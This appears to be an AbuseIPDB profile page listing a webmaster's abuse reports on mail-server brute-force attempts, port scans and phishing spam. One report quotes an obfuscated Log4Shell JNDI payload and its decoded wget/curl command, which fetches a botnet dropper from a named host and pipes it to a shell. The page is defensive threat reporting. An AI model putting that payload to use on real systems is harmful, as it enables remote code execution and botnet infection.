AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User noahxyz , the webmaster of as198997.net, joined AbuseIPDB in May 2026 and has reported 65 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇷🇺 95.165.3.78	23 hours ago	Port Scan (TCP 25565) and Spoofing of Minecraft Usernames.	Spoofing Port Scan
🇱🇹 62.60.134.134	11 Oct 2026	11.10.2026, 00:09:31 crit Banning 62.60.134.134/32 for 166 minutes 11.10.2026, 00:09:31 warn 62.60. ... show more 11.10.2026, 00:09:31 crit Banning 62.60.134.134/32 for 166 minutes 11.10.2026, 00:09:31 warn 62.60.134.134 matched rule id 3 (warning: unknown[62.60.134.134]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=gps) 11.10.2026, 00:06:05 warn 1 more attempts in the next 600 seconds until 62.60.134.134/32 is banned 11.10.2026, 00:06:05 warn 62.60.134.134 matched rule id 3 (warning: unknown[62.60.134.134]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=soccer) 11.10.2026, 00:02:47 warn 2 more attempts in the next 600 seconds until 62.60.134.134/32 is banned 11.10.2026, 00:02:47 warn 62.60.134.134 matched rule id 3 (warning: unknown[62.60.134.134]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=tesio) 10.10.2026, 23:59:31 warn 3 more attempts in the next 600 seconds until 62.60.134.134/32 is banned show less	Brute-Force Bad Web Bot Web App Attack Web Spam
🇧🇷 179.127.167.142	26 Jul 2026	Compromised mail server (Zimbra) relaying advance-fee fraud spam. Valid SPF/DKIM/DMARC pass, sent vi ... show more Compromised mail server (Zimbra) relaying advance-fee fraud spam. Valid SPF/DKIM/DMARC pass, sent via authenticated account [email protected] - indicates account compromise. Subject: "A donation has been made for you" From: [email protected] Reply-To: [email protected] Date: 2026-07-17 07:53:52 -0300 Content: fake EUR 3,500,000 donation notice, requests reply to external Gmail with "donation code" - classic advance-fee fraud. show less	Fraud Orders Email Spam Phishing
🇮🇳 122.165.126.207	26 Jul 2026	122.165.126.207 matched rule id 6 (auth-worker(1046322): conn unix:auth-worker (pid=200,uid=401): au ... show more 122.165.126.207 matched rule id 6 (auth-worker(1046322): conn unix:auth-worker (pid=200,uid=401): auth-worker<279>: lua([email protected],122.165.126.207,<WD7WyYRXmhh6pX7P>): Password mismatch (SHA1 of given password: 284762)) show less	Email Spam Brute-Force Hacking
🇺🇸 47.89.246.144	26 Jul 2026	47.89.246.144 matched rule id 6 (auth-worker(1030572): conn unix:auth-worker (pid=200,uid=401): auth ... show more 47.89.246.144 matched rule id 6 (auth-worker(1030572): conn unix:auth-worker (pid=200,uid=401): auth-worker<365>: lua([email protected],47.89.246.144,<gvCRSYFXpukvWfaQ>): Password mismatch (SHA1 of given password: f76e2e)) show less	Email Spam Brute-Force Hacking
🇰🇷 114.202.253.7	26 Jul 2026	114.202.253.7 matched rule id 6 (auth-worker(1021757): conn unix:auth-worker (pid=200,uid=401): auth ... show more 114.202.253.7 matched rule id 6 (auth-worker(1021757): conn unix:auth-worker (pid=200,uid=401): auth-worker<596>: lua([email protected],114.202.253.7,<GZ6yfX9XUOxyyv0H>): Password mismatch (SHA1 of given password: fe22f7)) show less	Email Spam Brute-Force Hacking
🇨🇳 8.137.119.50	26 Jul 2026	8.137.119.50 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth- ... show more 8.137.119.50 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<397>: lua([email protected],8.137.119.50,<lepiSoBXzNUIiXcy>): Password mismatch (SHA1 of given password: 016e2e)) 8.137.119.50 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<302>: lua([email protected],8.137.119.50,<7YaRNoBXaoIIiXcy>): Password mismatch (SHA1 of given password: fd176c)) show less	Email Spam Brute-Force Hacking
🇭🇰 8.210.191.157	26 Jul 2026	8.210.191.157 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth ... show more 8.210.191.157 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<486>: lua([email protected],8.210.191.157,<HnhxToBX_uUI0r+d>): Password mismatch (SHA1 of given password: eaca49)) show less	Email Spam Brute-Force Hacking
🇮🇩 103.67.244.133	26 Jul 2026	103.67.244.133 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): aut ... show more 103.67.244.133 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<495>: lua([email protected],103.67.244.133,<klWiVIBXPutnQ_SF>): Password mismatch (SHA1 of given password: c4b939)) show less	Email Spam Brute-Force Hacking
🇭🇰 47.82.112.192	26 Jul 2026	47.82.112.192 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth ... show more 47.82.112.192 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<500>: lua([email protected],47.82.112.192,<i13AVYBXjMUvUnDA>): Password mismatch (SHA1 of given password: 7110ed)) show less	Email Spam Brute-Force Hacking
🇨🇳 123.56.7.43	26 Jul 2026	123.56.7.43 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-w ... show more 123.56.7.43 matched rule id 6 (auth-worker(1025877): conn unix:auth-worker (pid=200,uid=401): auth-worker<571>: lua([email protected],123.56.7.43,<9aNUX4BXpLx7OAcr>): Password mismatch (SHA1 of given password: a29c57)) show less	Email Spam Brute-Force Hacking
🇺🇸 47.89.246.144	26 Jul 2026	47.89.246.144 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth ... show more 47.89.246.144 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth-worker<25>: lua([email protected],47.89.246.144,<uDQucIBXPt8vWfaQ>): Password mismatch (SHA1 of given password: 8ca23c)) show less	Email Spam Brute-Force Hacking
🇮🇩 8.215.205.243	26 Jul 2026	8.215.205.243 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth ... show more 8.215.205.243 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth-worker<110>: lua([email protected],8.215.205.243,<SBa2dYBXEokI183z>): Password mismatch (SHA1 of given password: 872a92)) show less	Email Spam Brute-Force Hacking
🇨🇳 47.101.212.59	26 Jul 2026	47.101.212.59 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth ... show more 47.101.212.59 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth-worker<115>: lua([email protected],47.101.212.59,<UorKeIBXrKYvZdQ7>): Password mismatch (SHA1 of given password: 57ca85)) show less	Email Spam Brute-Force Hacking
🇮🇳 122.165.126.207	26 Jul 2026	122.165.126.207 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): au ... show more 122.165.126.207 matched rule id 6 (auth-worker(1027627): conn unix:auth-worker (pid=200,uid=401): auth-worker<124>: lua([email protected],122.165.126.207,<zaOIeoBX2Qp6pX7P>): Password mismatch (SHA1 of given password: f9527d)) show less	Email Spam Brute-Force Hacking
🇹🇷 94.154.43.64	21 Jul 2026	Log4Shell exploit attempt (CVE-2021-44228) against nginx reverse proxy. Obfuscated JNDI payload usi ... show more Log4Shell exploit attempt (CVE-2021-44228) against nginx reverse proxy. Obfuscated JNDI payload using ${env:NaN:-x} substitution to bypass signature filters, resolving to jndi:ldap://45.153.34.153:1389/. 2026-07-21 04:46:58 UTC GET /?x=t('${jndi:ldap://45.153.34.153:1389/TomcatBypass/Command/Base64/...}') Host: 5.175.246.50 (direct-to-IP scan, no vhost) Base64 payload decoded to: (wget -qO- http://45.153.34.153/rondo.dus.sh\|\|curl -s http://45.153.34.153/rondo.dus.sh)\|sh Attempted remote code execution to fetch and pipe a shell dropper (rondo.dus.sh) — Mirai/Rondo-style botnet campaign. Payload host: 45.153.34.153. show less	Web Spam Spoofing Brute-Force Bad Web Bot Web App Attack Hacking
🇩🇪 64.89.163.9	09 Jul 2026	Banning 64.89.163.9/32 for 1440 minutes 08.07.2026, 02:08:31 - 64.89.163.9 matched rule id 3 (warni ... show more Banning 64.89.163.9/32 for 1440 minutes 08.07.2026, 02:08:31 - 64.89.163.9 matched rule id 3 (warning: unknown[64.89.163.9]: SASL PLAIN authentication failed: (reason unavailable), sasl_username=admin) 08.07.2026, 02:08:37 - 64.89.163.9 matched rule id 3 (warning: unknown[64.89.163.9]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=admin) 08.07.2026, 02:08:43 - 64.89.163.9 matched rule id 3 (warning: unknown[64.89.163.9]: SASL PLAIN authentication failed: (reason unavailable), sasl_username=admin) show less	Web Spam Spoofing Brute-Force Web App Attack Hacking
🇺🇸 24.199.106.163	06 Jul 2026	24.199.106.163 matched rule id 4 (warning: non-SMTP command from unknown[24.199.106.163]: GET _ HTTP ... show more 24.199.106.163 matched rule id 4 (warning: non-SMTP command from unknown[24.199.106.163]: GET _ HTTP_1.1) show less	Web Spam Brute-Force Web App Attack Hacking
🇨🇭 179.43.163.26	30 Jun 2026	Error: invalid or missing request data on webserver. Spam attempt. Mozilla/5.0 (Macintosh; Intel Ma ... show more Error: invalid or missing request data on webserver. Spam attempt. Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 show less	Web Spam Brute-Force Bad Web Bot Web App Attack Hacking
🇸🇬 82.197.70.199	30 Jun 2026	Error: invalid or missing request data on webserver. Spam attempt Mozilla/5.0 (Macintosh; Intel Mac ... show more Error: invalid or missing request data on webserver. Spam attempt Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 show less	Web Spam Bad Web Bot Web App Attack Hacking
🇦🇴 105.174.17.50	30 Jun 2026	105.174.17.50 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth- ... show more 105.174.17.50 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth-worker<288>: lua([email protected],105.174.17.50,<jqAteR5VWJBprhEy>): Password mismatch (SHA1 of given password: 641bf4)) show less	Brute-Force Bad Web Bot Hacking
🇳🇱 192.253.248.65	30 Jun 2026	192.253.248.65 matched rule id 6 (auth-worker(331115): conn unix:auth-worker (pid=136,uid=401): auth ... show more 192.253.248.65 matched rule id 6 (auth-worker(331115): conn unix:auth-worker (pid=136,uid=401): auth-worker<662>: lua([email protected],192.253.248.65,<qvb10R1VdN7A_fhB>): Password mismatch (SHA1 of given password: eed535)) show less	Brute-Force Bad Web Bot Hacking
🇨🇳 81.70.231.23	30 Jun 2026	81.70.231.23 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth-w ... show more 81.70.231.23 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth-worker<392>: lua([email protected],81.70.231.23,<4W_1jR5V5sFRRucX>): Password mismatch (SHA1 of given password: 1f91a2)) show less	Brute-Force Bad Web Bot Hacking
🇮🇩 36.68.186.7	30 Jun 2026	36.68.186.7 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth-wo ... show more 36.68.186.7 matched rule id 6 (auth-worker(335203): conn unix:auth-worker (pid=136,uid=401): auth-worker<170>: lua([email protected],36.68.186.7,<UamFXR5V9IokRLoH>): Password mismatch (SHA1 of given password: 1e765b)) show less	Brute-Force Bad Web Bot Hacking
🇨🇳 132.232.194.157	30 Jun 2026	132.232.194.157 matched rule id 6 (auth-worker(334039): conn unix:auth-worker (pid=136,uid=401): aut ... show more 132.232.194.157 matched rule id 6 (auth-worker(334039): conn unix:auth-worker (pid=136,uid=401): auth-worker<162>: lua([email protected],132.232.194.157,<KB0jFh5VFtKE6MKd>): Password mismatch (SHA1 of given password: 95ede9)) show less	Brute-Force Bad Web Bot Hacking